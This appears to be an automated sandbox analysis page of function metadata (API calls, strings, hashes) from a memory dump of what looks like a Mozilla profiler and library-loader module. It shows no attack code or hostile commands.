Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 39d725618a29b8d766079ff33708fc788d7de055ab6a7a627af3b605c36754e9
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 25B1B472E0520A8FDB14CF68CD916EDB7B2EF85314F190269C949EB785D730A9C9CB90

Function 6CAD50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAD8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAD925C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 596bcb3207c7581a5180624e5adeffc8ad3116c17efaf8438a4a95e38608d4b3
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 2AA1D672A002168FCB14CE68CC907D9B7B6EF85314F1902B9C949EB785D730E9D9CB90

Function 6CA84640 Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CA84777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA85585, 6CA855A8, 6CA855C3, 6CA85624
D($/, xrefs: 6CA84653

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)$D($/
API String ID: 4275171209-1529359609
Opcode ID: 940c2ee1186ad47a085ba755c334c442611456fa13234a5e9296950bb4588aae
Instruction ID: e786bb5e4f5dbcb85bf84797bb3618a3d7d416918d35a18e73694cfdb9e02cc0
Opcode Fuzzy Hash: 940c2ee1186ad47a085ba755c334c442611456fa13234a5e9296950bb4588aae
Instruction Fuzzy Hash: 89B25D71A066018FD718CF19C590715BBE2BFC5324F2DC7ADE86A8B6A5D771E881CB80

Function 6CACB8C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CA703D4,?), ref: 6CACB955
NtQueryVirtualMemory.NTDLL ref: 6CACB9A5

Strings

D($/, xrefs: 6CACB8C7, 6CACB91E

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID: D($/
API String ID: 1889792194-324952136
Opcode ID: ef9967a425b7ab7d10c22c90fab11dda00139c85f07e04d5a8b71ac246e4d25c
Instruction ID: 849b953083c9f39d5dca9418171f209b7d91c39336ae06c2414d5f2f2ce1f2f0
Opcode Fuzzy Hash: ef9967a425b7ab7d10c22c90fab11dda00139c85f07e04d5a8b71ac246e4d25c
Instruction Fuzzy Hash: 6641A771F0121D9FDF04CFA9E991ADEB7F5EF88314F14822AE415A7704DB31A8898B91

Function 6CAC85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAC8C7C
__aulldiv.LIBCMT ref: 6CAC8DD7

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 349e5746d53b24e669e76f139683a6503325ae0bd6db98765a70ee3fda99bb82
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 5F326E71F011198BDF18CE9DC8A17EEB7B2FB88700F15853AD506BB790DA349D858B92

Function 6CAA5C10 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA74A63,?,?), ref: 6CAA5F06

Strings

D($/, xrefs: 6CAA5C19

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcmp
String ID: D($/
API String ID: 1475443563-324952136
Opcode ID: bb20cf93b9e289b50f6438028b4c7a14256f1c10773673f75c34069a6f6a978d
Instruction ID: 3722a0cca9757ee0ab0dbcb186912be1dd4f859f00929903f68a1338c8781a5d
Opcode Fuzzy Hash: bb20cf93b9e289b50f6438028b4c7a14256f1c10773673f75c34069a6f6a978d
Instruction Fuzzy Hash: 06C1F275D016099BCB14CF99C1906EEFBF2FF8A318F28815DD8556BB44D732A886CB84

Function 6CA6DFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

D($/, xrefs: 6CA6DFF3

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: D($/
API String ID: 0-324952136
Opcode ID: 557fb6f6f3b40e6e58bf7fcf4ea5a2bca045e55931da5c16ae1b3d33f7cf0917
Instruction ID: d221e81a4adf04b605b472a5287614c14dd1325ab622ba9b3b63093156ce5dd7
Opcode Fuzzy Hash: 557fb6f6f3b40e6e58bf7fcf4ea5a2bca045e55931da5c16ae1b3d33f7cf0917
Instruction Fuzzy Hash: A142C772A087518BD304CE3DC89075AF3E2BFC9354F198B2DE999A7B90D734D9818B81

Function 6CADAC00 Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

D($/, xrefs: 6CADAC1B

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: D($/
API String ID: 0-324952136
Opcode ID: ee2ea22ace5b13b6de52a9a8a26eef1ad845367766dbe2fa241a4602dc6227ec
Instruction ID: f31efe1cef23d01c88ebcfd01ee1cb8f4ac46d65f83110180c483ac870c56a67
Opcode Fuzzy Hash: ee2ea22ace5b13b6de52a9a8a26eef1ad845367766dbe2fa241a4602dc6227ec
Instruction Fuzzy Hash: 10F127716087454FD700CE28C8917AAB7E3AFC5318F1A8A2DE4D587781E774ADC9C792

Function 6CAA7710 Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

D($/, xrefs: 6CAA771C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: D($/
API String ID: 2429186680-324952136
Opcode ID: a5c7db3fcea3143c571f24dfbfd3ce8c207dc8e61d64b24402de75e899bea06d
Instruction ID: d2e3ee8348de54233437e388d890864fda7e8d01f14a296cec2186186b5024c1
Opcode Fuzzy Hash: a5c7db3fcea3143c571f24dfbfd3ce8c207dc8e61d64b24402de75e899bea06d
Instruction Fuzzy Hash: A1714F75E012198FCB18CF99D8905EEBBB2FF89314F28816ED415AB744D731A986CF90

Function 6CAA58E0 Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

D($/, xrefs: 6CAA58EC, 6CAA59BB

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: D($/
API String ID: 2429186680-324952136
Opcode ID: f24d97032962a08ded8152dda8ffa74371e2e40912ce588049e1e51598a8892e
Instruction ID: 9353053b9b011fdb544509379fbe67c42045c5e050220d2b6a653a8cc00a42f0
Opcode Fuzzy Hash: f24d97032962a08ded8152dda8ffa74371e2e40912ce588049e1e51598a8892e
Instruction Fuzzy Hash: 95817D75A016199FCB04CFACD8809EEBBF2FF89314F248269D411BB741D731A986CB94

Function 6CAD76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: d5f59e77047cd4df5fda34928275785a1390f027a597c6ae67d89a829c046b5f
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: A632FA71E006198FCB18CF99C890AADF7B2FF88308F598169C559E7749D731A986CF90

Function 6CAD6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 00edc7985a144ab1f22792993f8635db8f70748a33629f8d893afe3f9685770f
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: E822E871E002198FCB14CF98C980AADF7B2FF88304F6985AAC549E7745D731A986CF90

Function 6CA90512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: e60f9f6c8b69ac7857ce4a304ac8e1038143afed351226f66d3972c633987599
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 9B220675E146198FCB14CF98C891AADF7F2FF88304F688699C54AA7705D731A986CF80

Function 6CA6C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 46de1090ca4a324320c6cad8b26a4ff8c061e8334e2b13ddb1a5eff94c24e109
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 7DA19075F0021A8BDF08CE69C8913AEB7F2EFC9358F198129D915E7781DB349C468B90

Function 6CAACC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA7582D), ref: 6CAACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA7582D), ref: 6CAACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CADFE98,?,?,?,?,?,6CA7582D), ref: 6CAACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CAACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CAACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CAACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CAACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CAACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CAACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CAACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CAACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CAACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CAACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CAACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CAACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CAACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CAACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CAACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CAACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CAACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CAACE8A

Strings

noiostacks, xrefs: 6CAACCBE
notimerresolutionchange, xrefs: 6CAACE00
nativeallocations, xrefs: 6CAACDA8
screenshots, xrefs: 6CAACCD4
preferencereads, xrefs: 6CAACD92
seqstyle, xrefs: 6CAACCE6
fileioall, xrefs: 6CAACCA8
jsallocations, xrefs: 6CAACD0E
cpuallthreads, xrefs: 6CAACE16
power, xrefs: 6CAACE84
stackwalk, xrefs: 6CAACCF8
ipcmessages, xrefs: 6CAACDBE
fileio, xrefs: 6CAACC92
default, xrefs: 6CAACC21
Unrecognized feature "%s"., xrefs: 6CAACEA0
nostacksampling, xrefs: 6CAACD7C
audiocallbacktracing, xrefs: 6CAACDD4
mainthreadio, xrefs: 6CAACC7C
unregisteredthreads, xrefs: 6CAACE58
processcpu, xrefs: 6CAACE6E
java, xrefs: 6CAACC37
samplingallthreads, xrefs: 6CAACE2C
leaf, xrefs: 6CAACC66
markersallthreads, xrefs: 6CAACE42

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 37223a957346e82d4992f2d1029efd2b2d37ad57e5d8666730365d6ed7b5da13
Instruction ID: c52c0ac3e3ffdde3fb23af490ee4dad22e8b012f96f6c14b2d74c0ebfa04406a
Opcode Fuzzy Hash: 37223a957346e82d4992f2d1029efd2b2d37ad57e5d8666730365d6ed7b5da13
Instruction Fuzzy Hash: 0551A4E0A0522516FA0032D56E10BAB7504FB5624EF55543AED0AB7E80FF06B6CF46B7

Function 6CA747C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA74801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA74817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA7482D
__Init_thread_footer.LIBCMT ref: 6CA7484A

Part of subcall function 6CA9AB3F: EnterCriticalSection.KERNEL32(6CAEE370,?,?,6CA63527,6CAEF6CC,?,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB49
Part of subcall function 6CA9AB3F: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA63527,6CAEF6CC,?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9AB7C

GetCurrentThreadId.KERNEL32 ref: 6CA7485F
GetCurrentThreadId.KERNEL32 ref: 6CA7487E
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA7488B
free.MOZGLUE(?), ref: 6CA7493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA74956
free.MOZGLUE(00000000), ref: 6CA74960
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA7499A

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

free.MOZGLUE(?), ref: 6CA749C6
free.MOZGLUE(?), ref: 6CA749E9

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6CA74A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA74828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA747FC
[I %d/%d] profiler_shutdown, xrefs: 6CA74A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA74812

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 16371729d3efd047f42bc341816dfaa95c75827f0aa0c87cdd5640c2332b501e
Instruction ID: cdc75aa077cf804e9501cccd817c8de12532d6243897732dfc9c608877b38d51
Opcode Fuzzy Hash: 16371729d3efd047f42bc341816dfaa95c75827f0aa0c87cdd5640c2332b501e
Instruction Fuzzy Hash: FA812479A002058FEB28DF68D84875A3771FB4A318F184229D91697B41D731D8C6DFF6

Function 6CA74470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA74730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA744B2,6CAEE21C,6CAEF7F8), ref: 6CA7473E
Part of subcall function 6CA74730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA7474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA744D2
InitOnceExecuteOnce.KERNEL32(6CAEF80C,6CA6F240,?,?), ref: 6CA7451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA7455C
LoadLibraryW.KERNEL32(?), ref: 6CA74592
InitializeCriticalSection.KERNEL32(6CAEF770), ref: 6CA745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA745AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA745BB
InitOnceExecuteOnce.KERNEL32(6CAEF818,6CA6F240,?,?), ref: 6CA74612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA74636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA74644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA7466D
VerSetConditionMask.NTDLL ref: 6CA7469F
VerSetConditionMask.NTDLL ref: 6CA746AB
VerSetConditionMask.NTDLL ref: 6CA746B2
VerSetConditionMask.NTDLL ref: 6CA746B9
VerSetConditionMask.NTDLL ref: 6CA746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA746CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA746FD

Strings

WRusr.dll, xrefs: 6CA744B5
kernel32.dll, xrefs: 6CA744CD
user32.dll, xrefs: 6CA74557, 6CA7463F
l, xrefs: 6CA74578
NativeNtBlockSet_Write, xrefs: 6CA746F7
D($/, xrefs: 6CA7447C

Memory Dump Source

